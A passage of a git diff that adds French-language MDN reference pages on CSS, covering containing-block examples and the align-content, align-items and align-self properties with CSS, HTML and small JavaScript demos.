+<p>Dans cet exemple, le bloc englobant est formé par l'élément {{HTMLElement("body")}}<strong> </strong>car <code>&lt;section&gt;</code> n'est pas un conteneur de bloc en raison de <code>display: inline</code> et il ne crée pas de contexte de formatage.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;Et voici un paragraphe !&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == half the body's width */
+  height: 200px;  /* Note: a percentage would be 0 */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Deuxième_exemple','100%','300')}}</p>
+
+<h3 id="Troisième_exemple">Troisième exemple</h3>
+
+<p>Ici, le bloc englobant du paragraphe est <code>&lt;section&gt;</code> car la propriété <code>position</code> de ce dernier vaut <code>absolute</code>. Les valeurs exprimées en pourcentages et associées au paragraphe sont relatives à la zone de remplissage du bloc englobant (ce ne serait pas le cas si la propriété {{cssxref("box-sizing")}} du bloc englobant valait <code>border-box</code>).</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;Et voici un paragraphe !&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Troisième_exemple','100%','300')}}</p>
+
+<h3 id="Quatrième_exemple">Quatrième exemple</h3>
+
+<p>Dans cet exemple, la propriété <code>position</code> du paragraphe vaut <code>fixed</code>. Le bloc englobant est donc le bloc englobant initial (c'est-à-dire le <em>viewport</em> pour les écrans). Aussi, les dimensions du paragraphe changent selon la taille de la fenêtre du navigateur.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;Et voici un paragraphe !&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
+  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
+  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
+  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Quatrième_exemple','100%','300')}}</p>
+
+<h3 id="Cinquième_exemple">Cinquième exemple</h3>
+
+<p>Dans cet exemple, la propriété <code>position</code> du paragraphe vaut <code>absolute</code>. Son bloc englobant est donc <code>&lt;section&gt;</code> car c'est l'ancêtre le plus proche dont la propriété {{cssxref("transform")}} ne vaut pas <code>none</code>.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;Et voici un paragraphe !&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Cinquième_exemple','100%','300')}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété {{cssxref("all")}} permet de réinitialiser l'ensemble des déclarations CSS dans un certain état.</li>
+</ul>
diff --git a/files/fr/web/css/align-content/index.html b/files/fr/web/css/align-content/index.html
new file mode 100644
index 0000000000..4bbae606f4
--- /dev/null
+++ b/files/fr/web/css/align-content/index.html
@@ -0,0 +1,293 @@
+---
+title: align-content
+slug: Web/CSS/align-content
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/align-content
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>align-content</code></strong> définit la façon dont l'espace est réparti entre et autour des éléments le long de l'axe en bloc du conteneur (c'est-à-dire l'axe orthogonal à l'axe d'écriture) lorsque celui-ci est <a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS">un conteneur de boîte flexible</a> et le long de l'axe principal lorsque le conteneur est une grille.</p>
+
+<p>L'exemple qui suit utilise une grille comme conteneur afin d'illustrer le comportement des valeurs de cette propriété.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/align-content.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété n'aura aucun effet sur les boîtes flexibles disposées sur une seule ligne (celles avec <code>flex-wrap: nowrap</code> par exemple).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Alignement le long de l'axe */
+/* Note : align-content ne prend pas en charge les valeurs left et right */
+align-content: center;     /* Les éléments sont groupés au centre */
+align-content: start;      /* Les éléments sont groupés au début  */
+align-content: end;        /* Les éléments sont groupés à la fin */
+align-content: flex-start; /* Les éléments flexibles sont groupés au début */
+align-content: flex-end;   /* Les éléments flexibles sont groupés à la fin */
+
+/* Alignement normal */
+align-content: normal;
+
+/* Alignement sur la ligne de base */
+align-content: baseline;
+align-content: first baseline;
+align-content: last baseline;
+
+/* Répartition de l'espace */
+align-content: space-between; /* L'espace est réparti entre
+                                 les éléments, le premier est
+                                 accolé au bord et le dernier
+                                 également. */
+align-content: space-around;  /* L'espace est réparti entre les
+                                 éléments avec un demi-espace
+                                 au début et à la fin */
+align-content: space-evenly;  /* L'espace est réparti entre les
+                                 éléments et autour */
+align-content: stretch;       /* Les éléments dimensionnés avec
+                                 auto sont étirés également
+                                 afin de remplir le conteneur*/
+
+/* Gestion du dépassement */
+align-content: safe center;
+align-content: unsafe center;
+
+/* Valeurs globales */
+align-content: inherit;
+align-content: initial;
+align-content: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Les éléments sont regroupés vers le bord au début de l'axe de bloc.</dd>
+ <dt><code>end</code></dt>
+ <dd>Les éléments sont regroupés vers le bord à la fin de l'axe de bloc.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Les éléments flexibles sont regroupés vers le bord au début de l'axe de bloc. Cette valeur ne s'applique qu'aux éléments fils d'un conteneur flexible, sinon elle est synonyme de <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Les éléments flexibles sont regroupés vers le bord au début de l'axe de bloc. Cette valeur ne s'applique qu'aux éléments fils d'un conteneur flexible, sinon elle est synonyme de <code>end</code>.</dd>
+ <dt><code>center</code></dt>
+ <dd>Les éléments sont regroupés au centre de l'axe de bloc.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Les éléments sont groupés sur leur position par défaut, comme si <code>align-content</code> n'avait pas été défini.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd><img alt="La ligne de base est la ligne sur laquelle reposent la plupart des lettres et en dessous de laquelle le jambage des caractéres descend." src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/39/Typography_Line_Terms.svg/410px-Typography_Line_Terms.svg.png" style="height: 110px; width: 410px;">Ces valeurs permettent de définir l'alignement par rapport à la ligne de base pour l'élément du conteneur avec la ligne de base la plus haute ou la plus basse.<br>
+ Si <code>first baseline</code> n'est pas prise en charge, la valeur correspondra à <code>start</code>, si <code>last baseline</code> n'est pas prise en charge, la valeur correspondra à <code>end</code>.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>Les éléments sont équirépartis le long de l'axe en bloc. L'espace obtenu est le même entre chaque élément, le premier élément est aligné sur le bord au début du conteneur et le dernier élément est aligné sur le bord à la fin du conteneur.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Les éléments sont équirépartis le long de l'axe en bloc. L'espace obtenu est le même entre chaque élément, la moitié de cet espace est utilisée entre le premier élément et le bord au début du conteneur et la moitié de cet espace est utilisée entre le dernier élément et le bord à la fin du conteneur</dd>
+ <dt><code>space-evenly</code></dt>
+ <dd>Les éléments sont équirépartis le long de l'axe en bloc. L'espace obtenu est le même entre chaque élément, entre le premier élément et le bord du conteneur et entre le dernier élément et le bord du conteneur.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Si la somme des tailles des éléments est inférieure à la taille du conteneur pour l'axe en bloc, les éléments dimensionnés automatiquement seront élargis de la même longueur tout en respectant les contraintes imposées par {{cssxref("max-height")}}/{{cssxref("max-width")}} (ou par les fonctionnalités équivalentes), afin que l'ensemble des éléments remplisse exactement le conteneur.</dd>
+ <dt><code>safe</code></dt>
+ <dd>Ce mot-clé est utilisé avec un mot-clé pour l'alignement. Si l'élément dépasse du conteneur avec la valeur d'alignement indiquée, l'élément sera alors aligné avec la valeur <code>start</code>.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Ce mot-clé est utilisé avec un mot-clé pour l'alignement. Quelle que soit la taille et le dépassement éventuellement occasionné, l'élément est aligné avec la valeur indiquée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4]">#container {
+  height:200px;
+  width: 240px;
+  align-content: center; /* Cette valeur peut être changée dans la démonstration */
+  background-color: #8c8c8c;
+}
+
+.flex {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 50px);
+}
+
+div &gt; div {
+  box-sizing: border-box;
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+#item1 {
+  background-color: #8cffa0;
+  min-height: 30px;
+}
+
+#item2 {
+  background-color: #a0c8ff;
+  min-height: 50px;
+}
+
+#item3 {
+  background-color: #ffa08c;
+  min-height: 40px;
+}
+
+#item4 {
+  background-color: #ffff8c;
+  min-height: 60px;
+}
+
+#item5 {
+  background-color: #ff8cff;
+  min-height: 70px;
+}
+
+#item6 {
+  background-color: #8cffff;
+  min-height: 50px;
+  font-size: 30px;
+}
+
+select {
+  font-size: 16px;
+}
+
+.row {
+  margin-top: 10px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container" class="flex"&gt;
+  &lt;div id="item1"&gt;1&lt;/div&gt;
+  &lt;div id="item2"&gt;2&lt;/div&gt;
+  &lt;div id="item3"&gt;3&lt;/div&gt;
+  &lt;div id="item4"&gt;4&lt;/div&gt;
+  &lt;div id="item5"&gt;5&lt;/div&gt;
+  &lt;div id="item6"&gt;6&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="display"&gt;display: &lt;/label&gt;
+  &lt;select id="display"&gt;
+    &lt;option value="flex"&gt;flex&lt;/option&gt;
+    &lt;option value="grid"&gt;grid&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="values"&gt;align-content: &lt;/label&gt;
+  &lt;select id="values"&gt;
+    &lt;option value="normal"&gt;normal&lt;/option&gt;
+    &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+    &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+    &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+    &lt;option value="center" selected&gt;center&lt;/option&gt;
+    &lt;option value="space-between"&gt;space-between&lt;/option&gt;
+    &lt;option value="space-around"&gt;space-around&lt;/option&gt;
+    &lt;option value="space-evenly"&gt;space-evenly&lt;/option&gt;
+
+    &lt;option value="start"&gt;start&lt;/option&gt;
+    &lt;option value="end"&gt;end&lt;/option&gt;
+    &lt;option value="left"&gt;left&lt;/option&gt;
+    &lt;option value="right"&gt;right&lt;/option&gt;
+
+    &lt;option value="baseline"&gt;baseline&lt;/option&gt;
+    &lt;option value="first baseline"&gt;first baseline&lt;/option&gt;
+    &lt;option value="last baseline"&gt;last baseline&lt;/option&gt;
+
+    &lt;option value="safe center"&gt;safe center&lt;/option&gt;
+    &lt;option value="unsafe center"&gt;unsafe center&lt;/option&gt;
+    &lt;option value="safe right"&gt;safe right&lt;/option&gt;
+    &lt;option value="unsafe right"&gt;unsafe right&lt;/option&gt;
+    &lt;option value="safe end"&gt;safe end&lt;/option&gt;
+    &lt;option value="unsafe end"&gt;unsafe end&lt;/option&gt;
+    &lt;option value="safe flex-end"&gt;safe flex-end&lt;/option&gt;
+    &lt;option value="unsafe flex-end"&gt;unsafe flex-end&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var values = document.getElementById('values');
+var display = document.getElementById('display');
+var container = document.getElementById('container');
+
+values.addEventListener('change', function (evt) {
+  container.style.alignContent = evt.target.value;
+});
+
+display.addEventListener('change', function (evt) {
+  container.className = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 260, 290)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-align-content", "align-content")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Ajout des valeurs <code>[ first | last ]? baseline</code>, <code>start</code>, <code>end</code>, <code>left</code>, <code>right</code> et <code>unsafe | safe</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Flexbox", "#align-content", "align-content")}}</td>
+   <td>{{Spec2("CSS3 Flexbox")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.align-content")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles_(Flexbox)">Prise en charge pour les dispositions flexibles (<em>Flexbox</em>)</h3>
+
+<p>{{Compat("css.properties.align-content.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_avec_les_grilles_CSS">Prise en charge pour les dispositions avec les grilles CSS</h3>
+
+<p>{{Compat("css.properties.align-content.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles</a></li>
+ <li>Guide sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner des objets dans une grille</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></em></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+</ul>
diff --git a/files/fr/web/css/align-items/index.html b/files/fr/web/css/align-items/index.html
new file mode 100644
index 0000000000..39477147fe
--- /dev/null
+++ b/files/fr/web/css/align-items/index.html
@@ -0,0 +1,290 @@
+---
+title: align-items
+slug: Web/CSS/align-items
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/align-items
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">La propriété CSS <strong><code>align-items</code></strong> définit la valeur de {{cssxref("align-self")}} sur l'ensemble des éléments-fils directs.</span> La propriété <code>align-self</code> définit elle l'alignement d'un objet au sein de son conteneur. Pour les boîtes flexibles, cette propriété contrôle l'alignement par rapport à l'axe secondaire (<em>cross axis</em>). Au sein d'une grille CSS, elle contrôle l'alignement des éléments sur l'axe de bloc de <a href="/fr/docs/Glossaire/Zones_de_grille">la zone de grille</a> correspondante.</p>
+
+<p>L'exemple qui suit illustre le fonctionnement des différentes valeurs de <code>align-items</code> au sein d'une grile.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/align-items.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>À l'heure actuelle, cette propriété est prise en charge pour les dispositions <em>Flexbox</em> et grilles CSS. Pour les boîtes flexibles, cela contrôle l'alignement des objets sur l'axe secondaire et pour les grilles, cela contrôle l'alignement sur l'axe en bloc.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Mots-clés de base */
+align-items: normal;
+align-items: stretch;
+
+/* Alignement géométrique */
+/* align-items ne gère pas les valeurs left et right */
+align-items: center; /* Les éléments sont regroupés au centre */
+align-items: start;  /* Les éléments sont regroupés au début */
+align-items: end;    /* Les éléments sont regroupés à la fin */
+align-items: flex-start; /* Les éléments flexibles sont regroupés au début */
+align-items: flex-end;   /* Les éléments flexibles sont regroupés à la fin */
+align-items: self-start;
+align-items: self-end;
+
+/* Alignement par rapport à la ligne de base */
+align-items: first;
+align-items: first baseline;
+align-items: last baseline;
+
+/* Gestion du dépassement */
+align-items: safe center;
+align-items: unsafe center;
+
+/* Valeurs globales */
+align-items: inherit;
+align-items: initial;
+align-items: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>L'effet obtenu avec ce mot-clé dépend du mode de disposition utilisé :
+ <ul>
+  <li>Pour les éléments positionnés de façon absolue, ce mot-clé est synonyme de <code>start</code> pour les éléments remplacés, pour les autres éléments positionnés de façon absolue, il est synonyme de <code>stretch</code>.</li>
+  <li>Pour les éléments avec une position statique sur une disposition absolue, ce mot-clé se comporte comme <code>stretch</code>.</li>
+  <li>Pour les éléments flexibles, ce mot-clé est synonyme de <code>stretch</code>.</li>
+  <li>Pour les éléments d'une grille, ce mot-clé se comportera comme <code>stretch</code> sauf pour les boîtes ayant des dimensions intrinsèques où il se comporte comme <code>start</code>.</li>
+  <li>Cette propriété ne s'applique pas aux boîtes en bloc ou aux cellules de tableaux.</li>
+ </ul>
+ </dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Le bord de la marge des éléments flexibles sur l'axe en bloc est aligné avec le bord de la ligne au début de l'axe en bloc.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Le bord de la marge des éléments flexibles sur l'axe en bloc est aligné avec le bord de la ligne à la fin de l'axe en bloc.</dd>
+ <dt><code>center</code></dt>
+ <dd>Les éléments flexibles sont centrés sur l'axe en bloc au sein de la ligne. Si ces éléments sont plus grands que la ligne, ils dépasseront également de chaque côté.</dd>
+ <dt><code>start</code></dt>
+ <dd>Les éléments sont alignés sur le bord au début du conteneur selon l'axe de bloc.</dd>
+ <dt><code>end</code></dt>
+ <dd>Les éléments sont alignés sur le bord à la fin du conteneur selon l'axe de bloc</dd>
+ <dt><code>center</code></dt>
+ <dd>Les éléments sont centrés sur l'axe en bloc du conteneur.</dd>
+ <dt><code>self-start</code></dt>
+ <dd>Les éléments sont accolés au bord du début du conteneur dans l'axe de bloc.</dd>
+ <dt><code>self-end</code></dt>
+ <dd>Les éléments sont accolés au bord à la fin du conteneur dans l'axe de bloc.</dd>
+</dl>
+
+<dl>
+ <dt><code>baseline</code></dt>
+ <dt><code>first baseline<br>
+ last baseline</code></dt>
+ <dd>Tous les éléments flexibles sont alignés afin que <a href="https://drafts.csswg.org/css-flexbox-1/#flex-baselines">leurs différentes lignes de base</a> soient alignées. L'élément pour lequel on a la plus grande distance entre la marge et la ligne de base est aligné sur le bord de la ligne courante.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Les éléments flexibles sont étirés afin que la taille de la boîte de marge sur l'axe en bloc est la même que celle de la ligne sur laquelle l'élément se trouve, tout en respectant les contraintes de hauteur et de largeur.</dd>
+ <dt><code>safe</code></dt>
+ <dd>Ce mot-clé est utilisé avec un mot-clé d'alignement. Si la taille d'un des éléments dépasse du conteneur avec la valeur d'alignement indiquée, l'alignement sera réalisé avec la valeur <code>start</code> à la place.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Ce mot-clé est utilisé avec un mot-clé d'alignement. Quelle que soit la taille relative et l'éventuel dépassement de l'élément par rapport au conteneur, la valeur indiquée pour l'alignement est respectée.</dd>
+ <dt>
+ <h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4]">#container {
+  height:200px;
+  width: 240px;
+  align-items: center; /* Cette valeur peut être modifiée dans l'exemple */
+  background-color: #8c8c8c;
+}
+
+.flex {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 50px);
+}
+
+div &gt; div {
+  box-sizing: border-box;
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+#item1 {
+  background-color: #8cffa0;
+  min-height: 30px;
+}
+
+#item2 {
+  background-color: #a0c8ff;
+  min-height: 50px;
+}
+
+#item3 {
+  background-color: #ffa08c;
+  min-height: 40px;
+}
+
+#item4 {
+  background-color: #ffff8c;
+  min-height: 60px;
+}
+
+#item5 {
+  background-color: #ff8cff;
+  min-height: 70px;
+}
+
+#item6 {
+  background-color: #8cffff;
+  min-height: 50px;
+  font-size: 30px;
+}
+
+select {
+  font-size: 16px;
+}
+
+.row {
+  margin-top: 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container" class="flex"&gt;
+  &lt;div id="item1"&gt;1&lt;/div&gt;
+  &lt;div id="item2"&gt;2&lt;/div&gt;
+  &lt;div id="item3"&gt;3&lt;/div&gt;
+  &lt;div id="item4"&gt;4&lt;/div&gt;
+  &lt;div id="item5"&gt;5&lt;/div&gt;
+  &lt;div id="item6"&gt;6&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="display"&gt;display: &lt;/label&gt;
+  &lt;select id="display"&gt;
+    &lt;option value="flex"&gt;flex&lt;/option&gt;
+    &lt;option value="grid"&gt;grid&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="values"&gt;align-items: &lt;/label&gt;
+  &lt;select id="values"&gt;
+    &lt;option value="normal"&gt;normal&lt;/option&gt;
+    &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+    &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+    &lt;option value="center" selected&gt;center&lt;/option&gt;
+    &lt;option value="baseline"&gt;baseline&lt;/option&gt;
+    &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+
+    &lt;option value="start"&gt;start&lt;/option&gt;
+    &lt;option value="end"&gt;end&lt;/option&gt;
+    &lt;option value="self-start"&gt;self-start&lt;/option&gt;
+    &lt;option value="self-end"&gt;self-end&lt;/option&gt;
+    &lt;option value="first baseline"&gt;first baseline&lt;/option&gt;
+    &lt;option value="last baseline"&gt;last baseline&lt;/option&gt;
+
+    &lt;option value="safe center"&gt;safe center&lt;/option&gt;
+    &lt;option value="unsafe center"&gt;unsafe center&lt;/option&gt;
+    &lt;option value="safe right"&gt;safe right&lt;/option&gt;
+    &lt;option value="unsafe right"&gt;unsafe right&lt;/option&gt;
+    &lt;option value="safe end"&gt;safe end&lt;/option&gt;
+    &lt;option value="unsafe end"&gt;unsafe end&lt;/option&gt;
+    &lt;option value="safe self-end"&gt;safe self-end&lt;/option&gt;
+    &lt;option value="unsafe self-end"&gt;unsafe self-end&lt;/option&gt;
+    &lt;option value="safe flex-end"&gt;safe flex-end&lt;/option&gt;
+    &lt;option value="unsafe flex-end"&gt;unsafe flex-end&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var values = document.getElementById('values');
+var display = document.getElementById('display');
+var container = document.getElementById('container');
+
+values.addEventListener('change', function (evt) {
+  container.style.alignItems = evt.target.value;
+});
+
+display.addEventListener('change', function (evt) {
+  container.className = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "260px", "290px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-align-items", "align-items")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#propdef-align-items', 'align-items')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.align-items.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_en_grille">Prise en charge pour les dispositions en grille</h3>
+
+<p>{{Compat("css.properties.align-items.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles CSS</a></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></em></li>
+ <li>Guide sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner des objets dans une grille</a></em></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+ <li>La propriété {{cssxref("align-self")}}</li>
+</ul>
diff --git a/files/fr/web/css/align-self/index.html b/files/fr/web/css/align-self/index.html
new file mode 100644
index 0000000000..51ac0143a4
--- /dev/null
+++ b/files/fr/web/css/align-self/index.html
@@ -0,0 +1,187 @@
+---
+title: align-self
+slug: Web/CSS/align-self
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/align-self
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>align-self</code></strong> permet d'aligner les objets flexibles d'une ligne flexible ou d'une grille en surchargeant la valeur donnée par {{cssxref("align-items")}}.</p>
+
+<p>Si l'un des objet a une marge automatique (<code>auto</code>) pour l'axe perpendiculaire à l'axe principal, <code>align-self</code> sera ignoré. Lorsque le conteneur est une grille, <code>align-self</code> permet d'aligner l'élément au sein de <a href="/fr/docs/Glossaire/Zones_de_grille">la zone de grille</a>. Si le conteneur est une boîte flexible, l'alignement se fait selon <a href="/fr/docs/Glossaire/Axe_transversal">l'axe secondaire</a>.</p>
+
